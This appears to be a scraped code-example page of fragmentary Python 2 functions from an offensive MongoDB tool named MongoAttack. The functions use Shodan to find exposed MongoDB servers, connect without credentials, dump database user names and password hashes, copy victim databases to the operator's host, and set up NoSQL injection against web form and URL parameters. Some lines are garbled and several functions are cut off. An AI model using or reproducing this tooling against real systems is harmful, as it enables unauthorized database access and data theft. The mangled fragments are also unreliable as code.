예제 #1
0
def buildPostdata(url, data):
    postParams = dict()
    injectName = []
    postData = data
    global testNum
    testNum = 1
    global neDict
    global gtDict

    params = postData.split('&')
    for item in params:
        index = item.find('=')
        postParams[item[0:index]] = item[index + 1:len(item)]
    try:
        req = requests.post(url, data=postParams, headers=HEADERS)
        if req.status_code == 200:
            appUp = True
            start = time.time()
            req = requests.post(url, data=postParams, headers=HEADERS)
            resLength = int(len(req.content))
            end = time.time()
            reqTime = round((end - start), 3)

            print '[*] App is up, got response length of %s' % resLength
        else:
            printErrMsg('[Error] Got %s from the app, check your options.' %
                        req.status_code)
            return

    except Exception, e:
        printErrMsg(
            '[Error] %s. Looks like the server didn\'t respond.  Check your options.'
            % e)
        return
예제 #2
0
def mgAttack(ip, port, myip, myport, clone_info=[0, None]):
    print '[*] mongoDB access attack'
    mongoOpen = False
    is_clone, clone_db = clone_info
    print '[*] Checking whether the crendentials are need.'
    needCreds = mongoScan(ip, port)
    if needCreds[0] == 0:
        conn = MongoClient(ip, port)
        print '[*] ' + ip + ':' + str(port) + ' access with no crendential!'
        mongoOpen = True
    elif needCreds[0] == 1:
        print '[*] login required......'
        DBuser = getQuesMsg('Username: '******'Password: '******'[*] access check failure. Testing will continute but will be unreliable.'
        mongoOpen = True
    elif needCreds[0] == 3:
        printErrMsg('[Error] couldn\'t connect to MongoDB server.')

    if mongoOpen == True:
        displayInfo(conn)  #显示数据库信息
        displayDBS(conn)  #列数据库 列集合
        if is_clone == 1 and clone_db != None:
            cloneDB(conn, myip, myport, clone_db, ip)
예제 #3
0
파일: scan.py 프로젝트: 5l1v3r1/MongoAttack
def scanMongoIP(scanNum):
    api = shodan.Shodan(SHODAN_API_KEY)
    print '[*] Start Scanning......'
    try:
        result = api.search('mongoDB')
        for index in range(scanNum):
            printInfoMsg('[+] Attacked IP: %s' % result['matches'][index]['ip_str'])
    except shodan.APIError, e:
        printErrMsg('[Error] %s' % e)
예제 #4
0
def InjectOption(url, reqFile):
    if url == None:
        #printErrMsg('[Error] The function is testing, waitting for me :)')
        postWeb(reqFile)
    elif reqFile == None:
        getWeb(url)
    else:
        printErrMsg('[Error] Check the required options......')
        return
예제 #5
0
def cloneDB(conn, myip, myport, clone_db, ip):
    dbList = conn.database_names()
    if len(dbList) == 0:
        printErrMsg('[Error] couldn\'t get a list of databases to clone.')
    elif clone_db in dbList:
        try:
            dbNeedCreds = getQuesMsg(
                '[*] Does this Database require credentials.(y/n)?')
            myDBconn = MongoClient(myip, myport)
            if dbNeedCreds in TAG_NO:
                myDBconn.copyDatabase(clone_db, clone_db + '_clone', ip)
            elif dbNeedCreds in TAG_YES:
                user = getQuesMsg('Username: '******'Password: '******'clone', ip, user,
                                      pwd)
            else:
                getQuesMsg('[*] Invalid Selection. Press enter to continue!')
                cloneDB(conn, myip, myport, clone_db, ip)
        except Exception, e:
            if str(e).find('Connection refused'):
                printErrMsg(
                    '[Error] %s. Make sure that mongoDB has been installed or that mongoDB is opened on this computer.'
                    % e)
            elif str(e).find('text search not enabled'):
                printErrMsg(
                    '[Error] %s. Database copied, but text indexing was not enabled on the target.'
                    % e)
            else:
                printErrMsg('[Error] %s. Something went wrong.' % e)
예제 #6
0
def postWeb(reqFile):
    print '[*] Start web app attacks (POST)'

    global testNum
    testNum = 1
    global httpMethod
    httpMethod = 'POST'
    global possAddrs
    possAddrs = []
    global validAddrs
    validAddrs = []
    global addedTarget
    addedTarget = dict()
    global paramNames
    paramNames = []
    global paramValues
    paramValues = []
    appUp = False
    strAttack = False
    intAttack = False

    checkFile(reqFile)
    try:
        with openFile(reqFile, 'rb') as f:
            content = f.read()
    except:
        printErrMsg(
            '[Error] Something went wrong while trying to read the content of file \'%s\''
            % reqFile)
        return
    parseBurpLog(content)
    if not addedTarget['url'] or not addedTarget['data']:
        printErrMsg(
            '[Error] Unable to find usable request(s), in provided file (\'%s\')'
            % reqFile)
        return

    print '[*] Testing connection to the target URL.'
    url = addedTarget['url']
    buildPostdata(url, addedTarget['data'])

    printInfoMsg('[+] Valid URLs:')
    for url in validAddrs:
        printInfoMsg('    %s' % url)

    print '\n '
    printInfoMsg('[+] Possible URLs:')
    for url in possAddrs:
        printInfoMsg('    %s' % url)
예제 #7
0
def getInjectStr(size):
    print '''[*] What format should the random string take?
    [1] mixed (letters, numbers)
    [2] letters only'
    [3] number only'''

    format = True
    while format:
        format = getQuesMsg('[*] choose: ')
        if format == '1':
            chars = string.ascii_letters + string.digits
            return ''.join(random.choice(chars) for x in range(size))
        elif format == '2':
            chars = string.ascii_letters
            return ''.join(random.choice(chars) for x in range(size))
        elif format == '3':
            chars = string.digits
            return ''.join(random.choice(chars) for x in range(size))
    else:
        format = True
        printErrMsg('[Error] Invalid section.')
예제 #8
0
def displayDBS(conn):
    try:
        printInfoMsg('[+] List of databases:')
        for db in conn.database_names():
            print '    %s' % db
        print '\n'
    except:
        printErrMsg('[Error] Couldn\'t list databases.')
    try:
        for dbname in conn.database_names():
            db = conn[dbname]
            printInfoMsg('[+] DBname: %s' % dbname)
            colls = db.collection_names(include_system_collections=False)
            printInfoMsg('[+] %s Collections:' % dbname)
            for coll in colls:
                print '    %s' % coll
            print '\n'

            if 'system.users' in db.collection_names():
                users = list(db.system.users.find())
                printInfoMsg('[+] Database User and Password hash:')
                try:
                    for x in range(0, len(users)):
                        print "    Username: "******"    Hash: " + users[x]['pwd']
                        print "\n"
                except Exception, e:
                    printErrMsg('[Error] %s, couldn\'t list user or hash\n' %
                                e)
                    continue
    except Exception, e:
        printErrMsg('[Error] %s, Couldn\'t list collections.\n' % e)
예제 #9
0
def buildUrl(url, value):
    global urlArray
    urlArray = ['', '', '', '', '', '', '', '', '', '', '', '']
    paramNames = []
    paramValues = []
    injectParams = []

    try:
        split_url = url.split('?')
        params = split_url[1].split('&')
    except:
        printErrMsg(
            '[Error] Not able to parse the URL and parameters. Check the url')
        return

    for item in params:
        index = item.find('=')
        paramNames.append(item[0:index])
        paramValues.append(item[index + 1:len(item)])

    printInfoMsg('[+] List of parameters:')
    index = 1
    for name in paramNames:
        print '    [%s] %s' % (index, name)
        index += 1

    try:
        injectIndex = getQuesMsg(
            '[*] Choose parmeters to inject (such as 1,2,3):')
        #print injectIndex.split(',')
        for i in injectIndex.split(','):
            injectParams.append(paramNames[int(i) - 1])
    except Exception, e:
        printErrMsg('[Error] %s. Somthing wrong... Check inject parmeters.' %
                    e)
        return
예제 #10
0
def getWeb(url):
    print '[*] Start web app attacks (GET)'

    global testNum
    testNum = 1
    global httpMethod
    httpMethod = 'GET'
    global possAddrs
    possAddrs = []
    global validAddrs
    validAddrs = []
    global lt24
    lt24 = False
    global str24
    str24 = False
    global int24
    int24 = False
    appUp = False
    strAttack = False
    intAttack = False

    print '[*] Checking url if correct......'
    if '?' not in url or '=' not in url:
        printErrMsg(
            '[Error] No URL  parameters provided for GET request...Check your url.\n'
        )
        return
    print '[*] Checking status if site at \'%s\' is up......' % url
    try:
        req = requests.get(url, headers=HEADERS)
        resCode = req.status_code
        #print type(resCode )
        if resCode == 200:
            startTime = time.time()
            content = req.content
            endTime = time.time()
            resLength = int(len(content))

            reqTime = int(round((endTime - startTime), 3))

            print '[*] App is up, got response length of %s, and response time of %s seconds, starting inject test.' % (
                resLength, reqTime)
            appUp = True

        else:
            printErrMsg('[Error] Got %s code from app, check your options.' %
                        resCode)
    except Exception, e:
        printErrMsg(
            '[Error] %s, looks like the server didn\'t respond, check your options.'
            % e)
예제 #11
0
def parseBurpLog(content):
    if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S):
        if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
            reqResList = []
            for match in re.finditer(BURP_XML_HISTORY_REGEX, content,
                                     re.I | re.S):
                port, request = match.groups()
                try:
                    request = request.decode("base64")
                except binascii.Error:
                    continue
                _ = re.search(r"%s:.+" % re.escape('Host'), request)
                if _:
                    host = _.group(0).strip()
                    if not re.search(r":\d+\Z", host):
                        request = request.replace(host,
                                                  "%s:%d" % (host, int(port)))
                reqResList.append(request)
        else:
            reqResList = [content]
    else:
        reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S)

    for match in reqResList:
        request = match if isinstance(match, basestring) else match.group(0)
        request = re.sub(r"\A[^\w]+", "", request)
        schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}",
                               request, re.I | re.S)
        if schemePort:
            scheme = schemePort.group(1)
            port = schemePort.group(2)
        else:
            scheme, port = None, None
        if not re.search(
                r"^[\n]*(%s).*?\sHTTP\/" %
                "|".join(getPublicTypeMembers(HTTPMETHOD, True)), request,
                re.I | re.M):
            continue
        if re.search(
                r"^[\n]*%s.*?\.(%s)\sHTTP\/" %
            ('GET', "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M):
            continue

        getPostReq = False
        url = None
        host = None
        method = None
        data = None
        cookie = None
        params = False
        newline = None
        lines = request.split('\n')
        headers = []

        for index in xrange(len(lines)):
            line = lines[index]
            if not line.strip() and index == len(lines) - 1:
                break
            newline = "\r\n" if line.endswith('\r') else '\n'
            line = line.strip('\r')
            match = re.search(
                r"\A(%s) (.+) HTTP/[\d.]+\Z" %
                "|".join(getPublicTypeMembers(HTTPMETHOD, True)),
                line) if not method else None
            if len(line.strip(
            )) == 0 and method and method != HTTPMETHOD.GET and data is None:
                data = ''
                params = True
            elif match:
                method = match.group(1)
                url = match.group(2)
                if any(_ in line
                       for _ in ('?', '=', CUSTOM_INJECTION_MARK_CHAR)):
                    params = True
                getPostReq = True
            #POST parameters
            elif data is not None and params:
                data += '%s%s' % (line, newline)
            #GET parameters
            elif '?' in line and '=' in line and ": " not in line:
                params = True
            #Headers
            elif re.search(r"\A\S+:", line):
                key, value = line.split(':', 1)
                value = value.strip().replace('\r', '').replace('\n', '')

                #Cookie and Host headers
                if key.upper() == HTTP_HEADER.COOKIE.upper():
                    cookie = value
                elif key.upper() == HTTP_HEADER.HOST.upper():
                    if '://' in value:
                        schemePort, value = value.split('://')[:2]
                    splitValue = value.split(':')
                    host = splitValue[0]

                    if len(splitValue) > 1:
                        port = filterStringValue(splitValue[1], "[0-9]")
                if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper():
                    params = True
                    headers.append((getUnicode(key), getUnicode(value)))
                elif key not in (HTTP_HEADER.PROXY_CONNECTION,
                                 HTTP_HEADER.CONNECTION):
                    headers.append((getUnicode(key), getUnicode(value)))
                if CUSTOM_INJECTION_MARK_CHAR in re.sub(
                        PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value
                        or ""):
                    params = True
        data = data.rstrip('\r\n') if data else data

        if getPostReq and (params or cookie):
            if not port and isinstance(
                    scheme, basestring) and scheme.lower() == 'https':
                port = '443'
            elif not scheme and port == '443':
                scheme = 'https'
            if not host:
                printErrMsg('[Error] Invalid format of a request file')
            if not url.startswith("http"):
                url = "%s://%s:%s%s" % (scheme or "http", host, port
                                        or "80", url)
                scheme, port = None, None
            if not (None and not re.search(None, url, re.I)):
                addedTarget['data'] = data
                addedTarget['cookie'] = cookie
                addedTarget['method'] = method
                addedTarget['headers'] = tuple(headers)
                addedTarget['url'] = url
예제 #12
0
    except Exception, e:
        printErrMsg(
            '[Error] %s. Looks like the server didn\'t respond.  Check your options.'
            % e)
        return
    if appUp == True:
        index = 1
        printInfoMsg('[+] List of post params:')
        for params in postParams:
            print '    [%s] %s' % (index, params)
            index += 1
        try:
            injectIndex = getQuesMsg('Choose a parmeter to inject: ')
            injOpt = postParams.keys()[int(injectIndex) - 1]
        except Exception, e:
            printErrMsg(
                '[Error] %s. Somthing wrong... Check inject parmeters.' % e)
            return
        injectSize = getQuesMsg('[*] Input test random string size: ')
        injectstr = getInjectStr(int(injectSize))
        postParams[injOpt] = injectstr

        req = requests.post(url, data=postParams, headers=HEADERS)
        basedInjectLength = int(len(req.content))
        print '[*] Got response length of %s.' % basedInjectLength

        LengthDelta = abs(resLength - basedInjectLength)
        if LengthDelta == 0:
            print '[*] No change in response size injecting a random parameter..'

        #Test 1 Generate not equals injection
        neDict = postParams
예제 #13
0

if __name__ == '__main__':
    url = None
    ip = None
    port = 27017
    scanNum = 10

    #参数设置
    try:
        optlist, args = getopt.getopt(sys.argv[1:], 'h',
                                      ['mongo=', 'inject=', 'scan', 'help'])
        for o, a in optlist:
            if o == '--mongo':
                printCover()
                mongoAttack(port)
            if o == '--inject':
                printCover()
                urlInject()
            if o == '--scan':
                printCover()
                scanIP(scanNum)
            if o == '-h' or o == '--help':
                printCover()
                printUsage()
                exit()
    except Exception, e:
        printErrMsg('[Error] %s. Please use \'-h\' or \'--help\'' % e)
    if len(sys.argv) < 2:
        printCover()
        printUsage()